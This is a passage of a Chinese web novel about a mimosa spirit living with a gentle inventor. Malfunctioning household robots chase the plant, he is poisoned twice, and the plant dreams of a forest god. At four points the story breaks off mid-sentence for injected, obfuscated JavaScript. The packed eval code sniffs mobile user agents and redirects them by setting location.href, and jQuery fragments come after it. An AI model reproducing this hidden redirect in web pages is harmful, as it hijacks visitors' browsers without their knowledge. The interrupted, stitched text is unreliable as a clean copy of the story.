“现在找不到森林,你就先住我家里,等养大了,有能力的时候,再去找家好吗?”
江含修心里兴奋又高兴,藤蔓缠在他手腕上:“谢谢你。”
-
后来的几天,一人一草每天黏在一起,江含修听他解释,原来白天出门是忙工作,人类需要赚钱维持生活。
久而久之,江含修越来越喜欢这个温柔的人类,偶尔还会带着花盆,蹦到他房间,睡在床边上。
秦宿枭有时候夜里醒来去卫生间,还会被藤蔓绊到,小精灵都是这么粘人?
江含修每次睡着后,会不自觉地把藤蔓伸出来,放在地上到处都是,叶子也经常掉在家里。
秦宿枭有了主意,实验室出的那些失败品,他马上要改造成功,或许可以成为生活工具,陪它在家里玩。
一个月后。
江含修看着别墅增加了许多人工智能机器,比如炒菜机器人、扫地机器人、自动浇水器、语音智能音箱,它们能自己走路运行,非常神奇。
“好厉害啊……” 江含修感叹道。
绿萝突然提醒:“老大,你不要相信这个人类的发明,都是失败品、有缺陷,才会拿到家里来测试,绝对会出问题的!”
江含修晃了晃叶子:“可是,秦宿枭说,这些都是很厉害的人工智能。”
“他这人不靠谱。”
江含修不信邪,他又从花盆里钻出来,甩了甩根部的土壤,慢悠悠蹦到客厅来,瞧见茶几上面的橙汁,用藤蔓拧开,拧了五分钟,才打开。
只见含羞草把橙汁全部倒在自己身上,慢慢吸收,还是滴了好多在地砖上面。
江含修刚想用藤蔓擦干净,就听见“滴滴”声。
“检测到客厅有污渍,小A已启动。”
机械运转的低鸣轻响起来时,江含修才抬眼,傻傻地看着它工作。
角落里蜷着个通体雪白的圆形机器
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799542|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,正顺着地板的纹路滚动而来,两侧悄然探出两只小巧的机械爪。只是迷你撮箕,另一只是细毛小扫把。
它精准停在橙汁渍前,爪子交替运作,轻巧扫拢液体倒入自带的微型垃圾桶,随即切换出滚筒拖把,在原地来回擦拭,直到地板恢复光洁。
江含修愣愣地站在旁边观察:“好神奇……它居然会自己扫地?”
“检查到垃圾,自动清洁模式已开启。”
机械音传来,那个爪子忽然伸过来,揪了一下含羞草的叶子。
“哎哟。” 江含修两只藤蔓按住脑袋,好痛。
江含修抬头,看见机器人又过来抓他叶子,它立马蹦蹦跳跳地往沙发上跑,机器人穷追不舍。
从客厅跑到沙发上、从沙发上跳到茶几、又跑向厨房、跑向卧室,跳到阳台,最终逃亡两小时,机器人没电了,回去充电,江含修才躲过一劫。
-
秦宿枭的工作是朝九晚五,下班六点到家,刚推开门,恍然间以为自己进错房子。
客厅到处都是泥土,沙发上一片狼藉,含羞草的叶子从厨房到卧室,玄关处,每个地方都是绿色的小叶片。
江含修缩在电视柜角落后面,只剩下光秃秃的小枝丫,谁还能看出这是之前茂盛的含羞草?
“小草?发生什么事了?” 秦宿枭摸了下他脏兮兮的根,还有点水渍。
江含修哆嗦两下,看见秦宿枭后,可怜地抖了抖枝条:“你欺负草。”
秦宿枭满脸无辜,温柔的抚了抚他的藤蔓:“我做错什么事了吗?”
江含修蹦出来,用藤蔓指着角落里的机器人说:“你在家里放危险武器,它一直追着我拔叶子,跑得我叶子都掉光了。”
秦宿枭诧异扭头,瞧见扫地机器人,顿时恍然大悟。
他立刻打开手机,调出扫地机器人的监控记录。只见那株小草被它追得满屋逃窜,硬生生折腾了好几个钟头,最后机器人电量耗尽,他才蜷缩进电视柜后面躲过一劫。那样子,实在可怜。
“抱歉,我明天带厂里重新改装下问题。” 秦宿枭忍不住笑了笑。
江含修训斥:“你还笑。”
秦宿枭恢复平静:“不笑。”
经过长时间相处,江含修胆子变大了,有时候还会凶这个人类。秦宿枭只觉得可爱,很像养了个小朋友在家里。
江含修:“快来给我浇水。”
秦宿枭:“好。”
秦宿枭小心翼翼地将它移入花盆,用土壤细细填满四周,又提起水壶,缓慢地浇下充足的水量。
发动灵力后,含羞草很快长出了嫩绿的新叶。叶片一张一合,在呼吸间恣意舒展。不出两分钟,便已郁郁葱葱,重新焕发出满盆生机。
“神奇,好大一盆小草。” 秦宿枭摸了下含羞草,嫩叶缩来缩去左右摇晃。
江含修哼唧:“它欺负我,你不教训它吗?”
秦宿枭:“嗯?”
江含修的藤蔓指向角落里的机器人,原来草也会记仇。
秦宿枭只当他是三岁小朋友,站起身回答:“好,我去打它。”
江含修瞥见秦宿走到到角落,对着充电的扫地机器人踹了一脚,机器人纹丝不动,仍然安分充电,他这才心满意足。
6.梦里的人
夜色已深,秦宿枭刚冲完澡,周止的微信消息就来了:“出来吃夜宵?今晚十五,月色好得很,潇洒潇洒。”
秦宿枭擦着头发扫了眼屏幕,又望了望窗边那盆静静立着的含羞草,叶片在月光下泛着温润的绿意。
他向来作息规律,很少深夜出门,更何况,家里还有一只小精灵需要陪。
秦宿枭客气地回了消息:“不去了,你们玩得开心。”
秦宿枭走到阳台蹲下:“小草,要喝水吗?你白天是不是偷喝了橙汁?”
江含修缓缓苏醒,叶片张开,几条藤蔓伸出来缠在他腿上,问:“不可以喝吗?”
“当然可以,不过你是植物,这些不影响的东西还是别喝,改天我给你买点高质量化肥。” 秦宿枭说罢,又拿起水壶给他浇了点水。
江含修叶子晃来晃去,开心叫道:“可以帮我修剪枝条吗?左边右边,长得参差不齐。”
秦宿枭看了眼,含羞草长得很快,经常冒出新的枝条和叶子,照这个速度,还要买大花盆:“好。”
秦宿枭把剪刀拿过来,心里有点忐忑,他没有给花草树木修剪过,如果剪的太丑,他会哭吗?
算了,精灵肯定不会哭。
他技术应该也不会那么差。
江含修太放心这个人类。
秦宿枭也对自己的技术太过于自信。
男人将花盆轻放在茶几上,自己在沙发坐定,开始专注地修剪起来。
他从左侧起手,遇到粗硬的枝条便先小心剪去,动作又轻又稳。剪到一半,忽然停住手,对着含羞草低声问:“这样剪,你会不会疼?”
江含修摇头:“我只有中间这条笔直的根才有感觉,旁边都是多余的。”
“哦……” 秦宿枭有个想法。
十分钟后。
秦宿枭沉思片刻,盯着眼前的含羞草,突然觉得哪里不对劲,枝条只剩下一根,多余的剪掉后,那些剩余的小叶子,只能攀附在中间的枝丫上面,往外蓬松,这个模样……有点像一颗小松树。
幸好小草不会照镜子,要不然该骂他剪了这个丑发型。
江含修蹦蹦跳跳带着花盆转圈:“剪好了?好看吗?”
秦宿枭昧着良心:“好看。”
旁边绿萝突然用心声传话:“啊!好丑啊!老大,他把你剪成了一颗光秃秃的小树!”
玫瑰:“你的头也秃了。”
富贵竹:“真丑。”
江含修听后,傻愣两秒,随后用藤蔓摸了摸自己的枝条,头顶的叶子也没了,他欲哭无泪:“你……你早说不会修剪植物啊!”
秦宿枭愕然,尴尬地把剪刀放在茶几上,摸了摸小草的藤蔓:“原来你可以看见自己,抱歉,我手法有点生疏。”
何止是生疏,简直是把他当实验,拿来练手来着。
江含修生气了,把叶子全部缩起来,剩下一根光秃秃的枝条,看起来更丑了。
秦宿枭捂着嘴轻轻笑了笑,随后把花盆搬进自己的主卧,放在床头柜上面,坐在床上脱衣服。
“小草,别生气。”
江含修不搭理他。
秦宿枭又摸了摸他头顶的枝丫安抚:“善良的小精灵,是不会和人类计较的,对吗?”
江含修才不是善良的小精灵,他突然脑袋一甩,尖锐的枝条不小心划破了秦宿枭的手指,鲜血瞬间滴下来,落在了他的盆栽里。
“嘶——”
“啊!”
“我不是故意的……你没事吧?”
江含修伸出藤蔓小心地捧着他的手掌,学着人类的语气认错:“对不起。”
秦宿枭揉了揉他嫩绿的两条藤蔓,像精灵的小手,他温柔笑笑:“不碍事。”
就在此时,秦宿枭的鲜血浸透了藤蔓,开始出现吸收的情况,含羞草一张一合微微颤动起来,仿佛在无声地呼吸。
通过藤蔓,将血液吸食出来,没入根部,他竟然在悄悄进食,体内仿佛有股很强的灵力冲击着根茎,树根也长高许多,叶片层层舒展。
“小草……” 秦宿枭收回手,指尖传来的痛楚让他恍惚片刻,这小精灵,还喝血呢?
“啊……”
江含修枝条抖了抖,藤蔓缓缓收缩回来,所有叶子抿成条,他困惑低头,为什么觉得人类的血好喝,难道他是一只吃人的草?
完了。
树爷爷曾说过,修炼期间不能有任何杂念,必须有纯粹的善念、坚定的守护之心,才能成为森林的守护神,这是历代的规矩。
任何有贪恋的人,终究会魂飞魄散,化为灰烬。
因为有了法力,成为人,人就会起贪恋。许多守护神触犯禁忌,一个又一个的消失,最后传到他这一代。
江含修心想,喜欢喝人血的小草,肯定也是贪恋的邪恶小草。
完蛋了,他是坏草。
秦宿枭突然摸了下他脑袋:“叶子全收起来,喝我的血也会害羞吗?没想到,你还喝血呢,可爱的小精灵。”
江含修伸开叶子,小草的心声纯粹天真:“什么……你不怕我吗?我是坏草,喝血是不友好行为。”
男人的语气风轻云淡:“哪有,精灵喝血很正常,毕竟你也不是人。”
秦宿枭轻轻抚摸他的嫩叶子:“自从你来了后,我的生活变得有趣,不再那么孤单
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810648|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,以前养过小猫小狗,但是它们都会离世,让我更加难过。或许你能长命百岁,所以我很开心。小草,永远不要陷在自己的认知里,你是一只善良可爱的精灵。”
江含修听不懂人类的大道理,但是知识传入脑海,他明白这些话,一定是在夸他。
含羞草左右摇晃,很兴奋地伸开叶子:“谢谢你,江含修不会忘记你的。”
“江含修……”
秦宿枭未曾料到,精灵也有名字,“江含修”,这名字取自含羞草的谐音。很是随意,他却觉得意外喜欢。
江含修……
默念着名字,秦宿枭闭上眼。
不知为何,心头忽然掠过一阵细微的荒凉,像一片空旷已久的土地,静静等着什么来填满。
入夜后,窗外皎月隐隐发光,庭院里的植物被风刮得左右摇晃,外面乌云密布,似乎快下雨。
…
江含修抿起叶子睡了很久,后半夜时,又开始做梦。
这次,他很清晰的听见了男人在他耳边说话的声音,但是五官忍让模糊不清。
“小草,你今天找了什么?”
男孩伸出双手递给他:“山神大人,给您看,这是我在对面山上寻来的山楂,果子成熟饱满,要不要尝尝?”
“我是山神,不吃这些东西。”
“那你吃什么?”
小草伸出藤蔓,拨了几片叶子下来,递给他问:“像蛀虫一样,喜欢吃我的叶子吗?它们说我的叶子很好吃。”
“我还是山楂吧。”
长发男人矜贵地伸出手,不料眼前忽然熊熊大火,直接吞吐了所有场景和身影,势不可挡。
“山神大人!”
“小草,离开这里……”
火势凶猛,淹没了整座山。
-
江含修猛地惊醒大叫:“救命!!”
他吓得叶子抖得落了几片,含羞草的藤蔓缩紧,瑟瑟发抖地往床头柜角落里移,枝头也在微微颤动,似乎很害怕。
秦宿枭听见声音睁开眼,打开左边的台灯,看向右边发抖的小草问:“怎么了?”
江含修摇了摇叶子:“山神……我竟然梦到山神大人……原来那场大火,我也在场……那个时候,我并没有长出来啊?他是神一样的人物,怎么会认识我这种无名小辈?”
秦宿枭听不懂,看见他萎缩的藤蔓,轻轻拿起来放在自己怀里,低声哄道:“别怕,噩梦是相反的,一定会有好事发生。”
江含修回过神,伸出五六条藤蔓,缠在秦宿枭的身上,又在回想起刚刚那个梦境。
他看不清模糊的轮廓,似乎是忘记了些什么。
7.又被毒晕
江含修沉思良久,再次入睡后,他恍然间明白了些事,森林大火发生在五百年前,而他活了三百年,根本不可能遇到山神。
所以。
他复活了?
-
再次醒来时,已经是第二天。
江含修带着花盆蹦蹦跳跳地跑到客厅,用藤蔓给自己的叶子做清理,昨天喝完血,竟然长出了新的枝条,看起来没有那么光秃秃像松树。
嗡嗡嗡——
江含修听见厨房有杂音,它好奇地从土壤里出来,抖了抖沙子,走到厨房门口观望。
里面有个炒菜机器人,白色的机械身体很高,有四个爪子,两条腿,拿着锅左右摇晃,右边爪子翻动锅铲,看起来非常高科技。
“这是什么啊……”
江含修蹦进去,用藤蔓缠着机器人问:“你在做饭吗?”
机器人转身,机械音传来:“识别中……加葱花……葱花……”
江含修刚想抬头,结果脑袋被用力一薅,叶片被撒进锅里,他用藤蔓捂住脑袋:“好痛!”
机器人继续薅,把他的叶子摘来放在锅里,还在碎碎念:“葱花……葱花……”
“啊啊啊——”
江含修捂住脑袋开始往外跑,发疯的机器人对他穷追不舍,恰在此时,扫地机器人也重新启动,跟在身后扫叶子。
小草在客厅跑来跑去,最后两条根竟然变成两条腿,不是一蹦一蹦,而是跑得飞快,画面着实诡异。
秦宿枭回到家,手里提着从超市买回来的调料和菜,结果听见喧哗的声音,机械音夹杂着惨叫声,他急忙换鞋跑进来。
客厅内,含羞草竟然被炒菜机器人、扫地机器人,两个人工智能追来追去,果然AI不能替代人类。
“救命啊。”
“救命啊——”
秦宿枭蹲下身,小草见状,立马往他那边跑,奔到了男人怀里,叶片洒落一地。
秦宿枭按住扫地机器人的开关,关闭电源,又打开炒菜机器人的屏幕,重新调制程序,它才转身,重新寻找葱花。
“到底哪个环节出了问题?” 秦宿枭毕竟是个厉害的发明家,不想面对事实,他竟然有两个失败品。
江含修哼唧:“你家里的怪物太多了,比我还可怕,它们总是薅我的叶子。”
秦宿枭回答:“是程序有问题,这个炒菜机器人还没上市,失败过后,还在测验阶段,放在家里如果出现问题,我也好找出来我。不知道怎么会把你识别成葱花。”
说到这,男人轻笑。
小草的叶子又被薅秃了。
江含修跑到阳台,钻进花盆里,一副颓废地模样弯了枝条,秦宿枭走过来,给他浇了点水。
秦宿枭低声哄着:“对不起,我是个发明家,需要测验这些人工智的成效,不是故意欺负你。”
江含修不理他。
人类会发明坏机器人,天天欺负草,故意薅他叶子。
秦宿枭哄了半天,见小草缩着叶子不说话,生怕把这只小精灵又吓回森林,他突然咬破手指,将自己的血液滴在含羞草的脑袋上。
他记得,昨晚小草喝他血的时候,兴奋地疯狂抖叶子。
果不其然,江含修猛地抬头,枝条疯狂蔓延生长,所有的绿叶全部长了出来,不停地吸收精血,两根藤蔓抱着男人的手指喝。
太美味了。
他决定就当一株坏草了。
“还没喝够吗?” 秦宿枭见他抱着自己的手指吸吮,藤蔓不断地吸收精血,最后忍不住摸了下他刚长出来的叶子。
江含修抖了抖,两条藤蔓抱住他,剩余的藤蔓也开始长出来,将男人裹在怀里,好想舔。
秦宿枭眼前忽然变得模糊,经常和含羞草触碰,也会中毒致幻,视线迷糊时,忍不住抬起脸颊边缘的藤蔓,闻到一股淡淡的青草香,特别熟悉,最终放在嘴里咬了一口。
“唔!”
江含修把藤蔓收回来,看见男人呆愣片刻,忽然倒在地上晕倒过去。
“秦宿枭!”
绿萝急忙探出头:“完蛋咯,你又把人类给毒死了。”
历史重演,梅开二度。
江含修找到手机,学着上次拨通电话。
秦宿枭的朋友过来后,表情比上次淡定,他乖乖地待在花盆里一动不动,装成一盆普通植物。
-
因为吃了藤蔓中毒,秦宿枭被拖到医院洗胃,医生说,长期摸含羞草,也会出现容易昏迷的情况,更别提吃掉含羞草的叶子。
陆北凛和周止最近觉得他们这个好兄弟非常诡异,白天工作,晚上回到家连消息都不回,热衷沉迷于玩草、吃草。
秦宿枭醒来后,先是抬手揉了揉酸胀的太阳穴,又看了眼手指破皮的地方已经结痂恢复,他问:“我干什么了?”
周止坐在他旁边翘着二郎腿玩手机,回答说:“我也想知道你在干什么,含羞草有那么好吃吗?”
秦宿枭回味那个味道,淡淡的青草香还有股甜味,说:“还行。”
周止:“……”
周止:“医生说了,你接触含羞草的频率太高,需要把这盆植物处理掉,毕竟是有毒植物。长期接触过量摄入会影响神经系统。”
秦宿枭坐起来:“庸医。”
周止:“……”
好兄弟是不是患了精神病。
秦宿枭拿出手机上网搜索:吃掉含羞草有什么功效。
他刚刚吃小草的藤蔓时,明显觉得味道特别好,本来挺困挺累,吃完后像补充了营养似的,整个人精神焕发。难不成,含羞草还是个补品?
或者说,他是一只精灵,吃了它可以长生不老。
这太扯了。
秦宿枭抬眸望向窗外,不知何时已乌云压顶,倾盆大雨裹挟着霹雳闪电席卷而来。
阳台那株小草会不会被暴雨冲刷,窗户是否关严,也不知道他怕不怕这震耳的雷声,肯定躲在角落发抖。
“周止,你相信世界上……” 秦宿枭看了眼他,男人嬉皮笑脸地凑过来,一副吃瓜傻乐的表情,看起来就不靠谱。
“算了。”
“诶,话说一半,你到底干什么啊,怎么又把针头拔了!医生说你要打一针才能彻底清除体内毒素……”
秦宿枭披上外套赶回家,他抬头望向天空,伸手接住雨滴,眼里产生悲悯。不知为何,每次下雨天,总是会感到心情阴沉,非常讨厌这种潮湿的天气。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811599|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
-
城安花园。
江含修缩在角落,听到外面的轰隆声,比森林里的雨夜还恐怖,在树爷爷的庇佑下,他不会害怕,在人类世界,总是没有安全感,担心自己会枯萎死在地球。
绿萝:“老大!你快过来我这里,我抱抱你!”
吊兰说:“今天的雷声感觉格外的大呢。”
江含修缩成团修炼,土壤里生出藤蔓,忽然有股蓝色的光芒散发出来,紧接着,一个透明的人从花盆里站起来,和魂魄一模一样,少年肤色白皙,可以在空中飘来飘去,惊呆了阳台的植物。
绿萝:“老大……老大被吓出鬼魂了!!”
江含修站在客厅发呆,看了眼自己双手双脚,停滞在空中,他解释道:“不是……是我快修炼成形了,没想到这么快,再过段时间,就不会是透明的颜色,我快变成人了!!”
阳台上的植物纷纷舒展枝叶,仿佛也在为此欢呼。只有江含修独自困惑,明明时机未到,怎么会突然灵力猛涨,还化成了人形。如果真能彻底变回人类,是不是就意味着……可以回到森林去了?
可那就代表,他要离开秦宿枭了。
吱——
江含修听见开门的声音,立马将身体钻回花盆里,变成一株小草,躲在角落里瑟缩成团。
秦宿枭咳嗽了两声,把淋湿的外套扔进洗衣机里,又走到含羞草身边:“怎么躲在客厅角落里,害怕打雷吗?”
江含修晃了晃叶子,缩成枝条,小声说:“别碰我,我是有毒植物,每次害你昏倒。”
“没关系。” 秦宿枭温柔笑笑,他不忍心责怪一只纯真可爱的精灵,摸了摸枝条说:“我知道你是有毒植物,放心吧,等你长大后,我会把你放回森林,你不会对任何人产生伤害。”
“你好像从来不会生气,哪怕我第二次毒晕你。” 江含修这才伸出藤蔓,轻轻握住男人的手,他非常喜欢秦宿枭身上的气味。
秦宿枭依然是心平气和地笑笑:“生气能解决问题吗?难不成,我把你烧掉,就能开心?归根结底,是我擅自把你从森林里挖回来,打扰你的修炼,中毒也是我自己的原因。”
江含修从未见过这般温柔的人类,这种沐浴清风的感觉,让窗外的雨声都变得柔和,小草的心里发暖。
“你的炒菜机器人给你做好了六个菜。” 江含修说。
秦宿枭抬眸:“真的?我去看看。”
秦宿枭把含羞草捧到餐桌上放着,走进厨房看见台面的饭菜,机器人正在清理卫生。
“人工智能还是可以替代人类。”
他拿起筷子尝了下,突然捂住嘴,难以下咽地挣扎片刻,最终还是吐在了垃圾桶。
“不能吃,还得继续改造。”
“哈哈哈哈哈哈哈。”
秦宿枭扭过头,目光落在身旁那株含羞草上。
它正笑得枝叶轻颤,左右成对的叶片左右摇晃,柔软的藤蔓缠紧桌角,像人类的手指。
一个念头不由自主地钻了出来,这只小精灵,若现出本体,会是什么模样呢?
一只毛茸茸的小兽?还是由叶片组成的小人?这想象让他心底泛起一丝好奇的痒意,急切地想知道最后会变成什么样子。
8.换个称呼
屋外狂风骤雨,不知怎的,秦宿枭这两天抵抗力下降,晚上咳嗽的厉害,有点感冒,洗完澡便早早睡下。
江含修从小生活在森林里,大地就是他的父母,所以不知道生病是什么感觉,好奇地守在旁边,看向男人苍白的脸庞,一定是很难受。
“人,你还好吗?”
秦宿枭缓缓抬眼,眼皮半抬拢住几分倦意,指尖轻轻抚了抚缠在腕间的藤蔓,嗓音有点哑:“没事……人类都会生病的,睡一觉,明天就好了。不必喊得这么生疏,换个称呼吧。”
江含修认真思考,曾经树爷爷给他灌输过人类知识,养育之恩,便是父母,所以……
“爸爸。”
秦宿枭:“……”
这大概是他二十六年来最惊悚的一刻,单身至今,竟然在此刻,突然有了个“儿子”。
还是一盆草。
江含修疑惑:“怎么了?”
秦宿枭握拳抵在唇边咳嗽两声,挥了挥手:“没事,睡觉吧。”
小精灵应该只有几岁的智商,这个年龄,喊哥哥也有点不适合,随便他吧。
江含修缩在花盆里,缓缓把藤蔓收回来,结果被男人握住:“嗯?不想牵我吗?”
“不是,你生病了,我怕你待会又咬一口,中毒昏迷过去。” 江含修解释。
“没关系,我喜欢牵。”
“好吧。”
秦宿枭将藤蔓拢入怀中,摸起来很软很光滑,没有半点杂质,正常含羞草是没有藤蔓的,江含修也是成精后才会长,相当于他的手。
“爸爸,你有爸爸妈妈吗?”
“也算是有吧,我是被养父养母带大的。”
秦宿枭自幼便失去双亲,他十岁那年,父母告诉他身世真相。刚出生还是个襁褓婴儿的时候,就被人抛在了玉米地,那年正在下大雪,差点被冻死,还是个男孩子,也不知道谁这么狠心。
自那之后,秦宿枭发愤图强,努力赚钱,报答他们的养育之恩,把他们视为亲生父母。
江含修不懂人世间的亲情,也并不明白养父母什么意思,稀里糊涂地点了下头,有爸妈挺好的。
他也有爸爸了。
“爸爸,我长大后会孝顺你的。”
秦宿枭捂住眼睛哭笑不得,这精灵到底懂多少,还知道孝顺,怎么如此诡异呢。
“你照顾好自己就行。”
天越来越黑,夜里秦宿枭咳嗽得厉害,江含修也很着急,在身边蹦来蹦去也不知道该怎么办。
秦宿枭疲惫又迷糊:“客厅有感冒药……不知道你会不会……”
江含修听完就蹦走了,他来到客厅,虽然学会了人类语言,但是还没有分清这个世界的东西,找了半天才看见感冒糖浆。
“一次倒多少呢……”
江含修用两条藤蔓缠住水壶,倒热水的时候,溅出来烫到了叶子,掉了好几片,他弄在杯子里,又继续研究克数。
好在小草聪慧过人,倒了一点在杯子里,荡来荡去化开,又用根化作两条腿,走到主卧,放在男人的手里。
“爸爸,药好了。”
秦宿枭以为自己产生感觉,一株含羞草,竟然会冲感冒药,他打开台灯喝下后,症状稍有缓解。
“咳咳咳……你怎么冲的药?”
江含修晃了晃叶子:“瓶子上面有写,虽然我识字不多,请教了下绿萝,它待在人类世界比较久,告诉我是要用水兑。”
“绿萝?” 秦宿枭以为自己病糊涂了,阳台的植物都能说话吗?
江含修笑两声乖乖解释:“我可以和植物之间对话,但是它们成不了精,所以你听不见他们说话。”
“原来如此……” 秦宿枭捧起床边的藤蔓,眉头微拧:“你的小藤蔓都烫熟了,以后还是别碰家里的任何东西,很危险。”
江含修坐在花盆里回答:“不会啦,等爸爸病好了,给我浇水,我就能长出新藤蔓。”
秦宿枭心中升起一股难以言喻的情感,家里有个会走路的小草也就算了,这草还能照顾人。或许这个世界也不是真实的,发生什么都能欣然接受,体会人生中的幸福。
“小草。”
“嗯?”
秦宿枭轻轻拨动他的叶子:“如果有一天,你找到了森林,可以晚点回去吗?我第一次认识精灵,舍不得你离开。”
江含修慷慨大方回答:“当然可以呀,只要森林出现危机,我也能感应到的,没有危险的时候,我就可以留在人类世界陪你玩。”
“拉钩。” 秦宿枭伸出手。
“拉钩?” 江含修两条藤蔓缠在一起思考:“什么意思?”
秦宿枭解释:“承诺,代表以后你不能违约,把你的藤蔓伸出来,勾住我的小指。”
江含修好奇地伸出藤蔓,勾住男人的小指,在中间晃了晃,原来这就是承诺的意思。
这个画面……
似曾相识的感觉,他好像和别人也做过这个动作,而那个人,不是秦宿枭。
他到底忘了谁。
-
在江含修的陪伴下,秦宿枭的病第二天已经好转,休了两天年假,又要回到公司继续上班。
他如今心中有了牵挂,工作愈发全情投入,只为研发出更先进的人工智能产品。这样,即便出门在外,家中的植物也能得到悉心的照料。
秦宿枭上班的地方是一栋摩天大楼,位于江城郊区位置,总层一百零六。从一楼到五十楼全是研究所,大楼的背后是一座又一座的工厂,全是开发商品的建筑。
周止站在研究所客厅中间,抬头看新产品的3D拆解动画,发现秦宿枭来了后递了个图纸:“我想做个可以代替人类的智能机器人,会照顾人。”
周止挠了挠头发,托着腮帮子问:“这可是大工程,如今这个时代,还没发展到这种地步,机器人如果能照顾人,谁还生孩子呢?”
“限制开发数量,就不会乱套,提供给有需求的人。” 秦宿枭到时候可以自己做一个,放在家里照顾植物,省得老是惦记精灵在干什么。
周止打了个哈欠:“可以先提议,不过,最近科学所那边正在开发药物,能使人力量变得强大,他们现在没空开发新产品。”
秦宿枭:“上次我就提议过,不要研究这种东西,他们为什么不听?如果有副作用,那是人命关天的事情,反正我不会参与。”
“我也不同意。” 远处有个戴眼镜的中年男人走过来,他笑着拍了拍秦宿枭的肩膀:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812925|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宿枭有远见,当务之急,咱们是开发更多的人工智能,让社会更加先进。”
“甄博士。” 秦宿枭礼貌打了声招呼。
甄学文外表斯文儒雅,是公司内颇具传奇色彩的人物。
四十五岁的他,早年已是声名显赫的学者,十八岁便以杰出发明家的身份崭露头角。
在这个行业深耕近三十年,他不仅积累了专业声誉,更是摩天大楼高管里面的重要投资者。
甄学文笑了笑满脸慈祥的笑容:“教你这么多东西,还不肯认我这个师傅。”
秦宿枭笑:“您见笑,我这个技术远不够,上次带回去的两个几个机器人都没修成功。”
甄学文看向周止说:“小周,你看啊,人就是这么谦虚,咱们公司哪个发明家,能一周内做出一个会炒菜的机器人?他这过家家的小把戏,还当成失败品。”
周止呲着牙笑:“您别说,他那机器人,把家里的含羞草都能当菜炒了,邪修。”
甄学文听见含羞草,又打趣问道:“听说你两次吃了含羞草的叶子中毒?到底怎么回事。”
“抱歉,最近感冒,病糊涂了。” 秦宿枭说完推了推周止,说出去商议明天的工作。
甄学文目光意味深长,很是看重秦宿枭这个人才,总觉得他能研究出更惊奇的东西。
出来后,周止瞪着他:“操,你刚刚掐我干什么,痛死了。”
秦宿枭表情严肃:“你还把我吃含羞草中毒的事情到处说?”
周止憋着笑:“怎么,干蠢事还不让人笑啊,我跟大家说,你养了个有毒植物,天天盯着吃。”
秦宿枭面若冷霜:“周止,含羞草从森林里带回来的事情,以后不要告诉任何人。”
周止本来还想继续开玩笑,瞧见他阴冷的眼神,是真生气了,稀奇得很。
秦宿枭从来没发过脾气,性格温和,说明这件事确实严重。
“怎么了?你的草会吐金子不成?”
秦宿枭冷脸回答:“如果你再敢乱说,小心我敲碎你的牙。”
“唔,残忍。不说了不说了。” 周止捂住嘴巴,又好奇地贴在他肩上,问:“那小草有什么惊人之处吗?”
秦宿枭随便敷衍回答:“可能在森林里长得久,它的成分里有很高的营养。”
周止顿时表情惊讶:“我靠!难怪你天天吃,这么好的事情,竟然不告诉我?”
秦宿枭给了个冷眼:“那你明天过来吃。”
周止:“别了,我不想住院。”
……
江含修待在阳台上,藤蔓在风里伸展,卷在铁网上面搭着晒太阳。
做人类多累啊,总是急匆匆出门,把满屋的植物都锁在家里,这日子真是漫长又无聊。
受到江含修的点拨后,秦宿枭把富贵竹被挪到了客厅,绿萝放在了避光位置,吊兰搁置在最高的地方,方便伸展枝叶。
这些植物生龙活虎,在家里唱歌聊天,江含修却是很无聊。
他突然很想出门,看看这个世界是什么样子的。
江含修回想起秦宿枭的血液,叶子又开始摆动,那鲜甜的味道,又想喝。
不行不行,再这样下去,他就会变成吸血草,太恐怖了。
9.人工智障
江含修趴在阳台上面睡着,雨后的太阳很温和,照得他浑身暖洋洋,今早喝过露水,整个草也是神清气爽。
记忆中的事情也越来越清晰,每次最舒服的时候,就会被拉入梦境。
…
森林枝繁叶茂,参天大树立于中间,温和的阳光洒在地面,像巨型的光影迷宫。
“山神大人……” 少年专心用力攀岩,踩在石缝中攀爬,藤蔓往上伸展,一边吼道:“您拉一下我可以吗?能不能别生气了!救命呀,我没力气了。”
少年爬得很吃力,他脑袋两边的小草叶子晃来晃去,险些踩空的时候,被一团云雾接住,送上了山顶。
